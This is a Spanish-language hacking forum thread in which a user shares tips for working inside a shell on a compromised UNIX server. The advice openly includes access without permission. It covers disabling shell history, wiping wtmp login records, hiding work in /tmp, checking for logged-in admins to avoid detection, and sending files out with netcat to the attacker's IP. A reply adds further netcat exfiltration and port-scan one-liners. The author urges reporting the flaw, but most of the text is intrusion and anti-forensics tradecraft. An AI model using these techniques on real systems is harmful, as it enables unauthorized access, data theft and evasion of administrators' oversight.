"truquillos" que facilitan un poco la vida en una shell remota

[nacho87]

Hola a todos!!

      Me gustría compartir con vosotros algunos comandos y pequeños consejos que facilitan algo las cosas en una shell remota. Muchas veces cuando conseguimos una shell en un sistema remoto es más "fea" que pegarle a un padre con un calcetin sudao... me refiero a que no hay "prompt" y no se sabe donde empieza y acaba la salida de un comando. Para solucionar ésto se pueden escribir un par de comandos que hacen la shell más "clara":

Código [Seleccionar] Expandir

export TERM=xterm; exec bash -i
Además si no se quiere dejar huella en el archivo ".bash_history" también se deberá ejecutar:

Código [Seleccionar] Expandir

unset HISTFILE; unset SAVEHIST

      Una de las cosas de las que hay que estar pendiente cuando se accede a un servidor es de quíen está conectado. Si quién está conectado "legítimamente" hace un listado de los procesos o las conexiones es muy probable que nos descubran. Para ver quién está conectado basta con ejecutar el comando:

Código [Seleccionar] Expandir

w
o bien

Código [Seleccionar] Expandir

who

      Si al ejecutar esos comandos vemos que hay alguien conectado lo más razonable es desconectarse. Aunque la shell no aparezca reflejada en los procesos o en las conexiones (netstat) si al usuario conectado le da por usar tcpdump verá actividad sospechosa...

      Otra cosa muy útil es ver quíen cuándo y desde dónde ha accedido al servidor. Ésto se puede saber fácilmente con el comando

Código [Seleccionar] Expandir

last el cual hace uso del archivo wtmp por defecto (/var/log/wtmp) así que si os habeis conectado por ssh aseguraos de limpiar ese archivo si no quereis ser descubiertos.

      Las conexiones por SSH son ruidosas y dejan mucho rastro así que lo mejor es evitarlas aunque obviamente tienen sus ventajas ya que al conectarnos a una pts podemos hacer cosas que desde una shell interactiva no se pueden como por ejemplo conectarnos por SSH a otras máquinas o tener "job control" es decir, poder traer al frente (foreground, comando fg) un proceso que anteriormente habíamos puesto en background (añadiendo & al final del comando).

      Si el acceso al servidor es "ilegal" es decir, no tienes permiso explícito para ello, utiliza la carpeta "/tmp" para todo lo que tengas que hacer. Normalmente no se revisa y si se hace no se hace muy detalladamente.

      Hay algunos programas que son esenciales si se quiere curiosear un poco por la red del servidor. El primero es netcat. Te puede servir desde backdoor improvisado hasta transferencia de archivos. Se compila sin problenas desde las fuentes incluso en kernels viejunos. Por si no lo sabeis para enviar archivos con netcat se hace de la siguiente manera:

En tu máquina:

Código [Seleccionar] Expandir

nc -l -p tupuerto > archivo
En el servidor:

Código [Seleccionar] Expandir

nc tuip tupuerto -vv < archivo &

      Es preferible poner nc a la escucha en tu máquina por si el servidor está detrás de un firewall, si no es así se pueden invertir los papeles. Lo de añadir "&" al final del comando del servidor es para dejar el proceso en background y poder seguir ejecutando comandos mientras se transfiere el archivo ya que a veces nc se pone tonto y te puede dejar sin shell, teniendo que volver a conectarte. Asegurate de "matar" el proceso de nc en el servidor una vez transferido el archivo si éste no se cierra sólo.

      Otra herramienta muy útil es nmap. En servidores un poco viejos las versiones más nuevas te darán problemas de dependencias y tampoco es plan de instalar 10000 librerías en el servidor. Busca versiones más viejas o paquetes rpm para el servidor concreto. Si es redhat o alguna de sus variantes puedes ver que versión corre en "/etc/redhat-release". Una buena fuente de archivos rpm es:

Código [Seleccionar] Expandir

http://rpm.pbone.net/

      Si necesitas instalar versiones nuevas de algún programa ya instalado en el servidor hazlo siempre dejando la versión vieja tal como está. Es decir, por ejemplo si el servidor tiene instalado python1.5 y tú necesitas python2.4 para correr el sslstrip deja python1.5 como principal e instala python2.4 como secundario (se hace con "make altinstall" en lugar de "make install"). Si no lo haces así puedes dejar inservibles scripts creados por usuarios legítimos.

      Cuando accedes al servidor también es recomendable (si eres root, claro está) echar un vistazo a los .bash_history de las carpetas de los distintos usuarios. A parte de aprender mucho con los comandos que ejecutan los administradores te servirá para ver qué logs revisan, dónde y cómo se conectan...

     Intenta siempre no dejar "*****" en el servidor. Usando la carpeta "/tmp" siempre te ahorras bastantes quebraderos de cabeza. Un comando útil para ver qué archivos has modificado/creado es:

Código [Seleccionar] Expandir

ls -lart
      Éste comando lista todos los archivos de la carpeta en la que te encuentras ordenados inversamente por fecha de modificación, es decir, el más nuevo abajo, de manera que puedes ver que archivos has creado/modificado tú o se han creado mientras estabas conectado.

      Un programilla útil aunque con doble filo es ettercap. Como ya sabreis sirve como sniffer, MitM y algunas cosillas más, sin embargo es bastante peligroso en determinados ambientes. En una red de servidores o centro de datos, a los 30 segundos de hacer un MitM tendrás al señor root conectado mirando a ver qué pasa. En las redes de servidores el gateway, por malo que sea se dará cuenta del arp spoofing y probablemente bloqueará el tráfico hacia los hosts afectados por lo que lo único que conseguirás es dejar sin servicio el host y llenar la red de alarmas.

      Si eres detectado antes de reportar la vulnerabilidad que te dió acceso es interesante volver a entrar y revisar el .bash_history para ver cómo y poqué has sido detectado. Aprenderás mucho. Por supuesto después de hacerlo reporta dónde está el fallo y si es posible cómo solucionarlo y no vuelvas a entrar. Si te han detectado han ganado la partida y debes retirarte con buen perder, así son las normas del juego. 

      Una de la primeras cosas que se deberían aprender es que siendo l@mer no se aprende... No vayas por el mundo defaceando webs o haciendo "rm -rf /" (si no sabes lo que hace eso, no lo pruebes). La gente trabaja duro para mantener servidores y crear webs y joder su trabajo no aprenderás nada. En lugar de ello revisa la configuración del servidor (la carpeta /etc es una mina) y aprende de ello, infórmate sobre para qué sirve cada archivo allí alojado y piensa cómo lo mejorarías.

      Cuando hayas curioseado y aprendido lo suficiente y sin poner en peligo el servidor ni la información que allí se aloja reporta SIEMPRE la vulnerabilidad que te dió acceso. Si el servidor es "crítico" o maneja datos demasiado "sensibles" reporta la vulnerabilidad enseguida, puedes causar mucho más mal del que crees. Al reportar la vulnerabilidad te puedes encontrar de todo, desde gente que te quiere demandar hasta gente que te estará eternamente agradecida. Por si acaso reporta la vulnerabilidad desde un correo completamente desvinculado de tus datos personales.

      Otra forma "curiosa" y divertida de reportar el fallo es esperar a que root se conecte y usar el comando wall. Para ello creas un archivo con lo que quieres decirle al administrador  y ejecutas "wall < archivo". Ésto hará que le aparezca a todos los usuarios conectados (procura que sólo sea root) a una consola el mensaje que hayas escrito en "archivo". Por ejemplo:

Código [Seleccionar] Expandir

echo "Hola, su servidor ha sido comprometido, para más información ejecute 'nc localhost 5555'" > mensaje
wall < mensaje
nc -l -p 5555 -vv
      De ésta forma el sr. root sabrá que le estás esperando en el puerto 5555 del servidor para tener una charla sobre la vulnerabilidad que has encontrado en su servidor.

      Bueno, éstos son todos los consejos que tengo que daros por ahora a los que os iniciais en ésto. No pretenden ser una tabla de mandamientos a seguir, simplemente son cosas de las que me he dado cuenta en el poco tiempo que llevo en ésto y que pueden seros útiles. Me gustaría que más gente aportara cosas que facilitan el trbajo en una shell remota o consejos que tengan que darnos a los que nos iniciamos en ésto.

      Ah! por si no ha quedado claro lo aquí expuesto es para sistemas UNIX.

      Un saludo!

[kamsky]

muy buen aporte, gracias!

chinchetazo!

[zhyzura]

apenas lo leo, te quedo muy bien

se agradece el aporte (nunca habia escuchado lo de hacer la shell mas "bonita").

saludos

[JDK]

Buen aporte se agradece

[int_0x40]

Muy bien por el aporte. Algo que a mí en lo personal me parece un truco valioso es el uso de tuberías (|) para redireccionar la salida de un programa, como por ejemplo ----->

Código [Seleccionar] Expandir

cat cualquier archivo | nc -v -w 3 ip destino puerto o nc -v -w 3 ip

destino puerto < cualquier archivo

o

Código [Seleccionar] Expandir

echo quit | nc -v -w 3 ip destino rango

de puertos a escanear > archivo.txt 2>&1


Un saludo

[/b]

[VirajeCR]

Excelente aporte. Muchas gracias!!!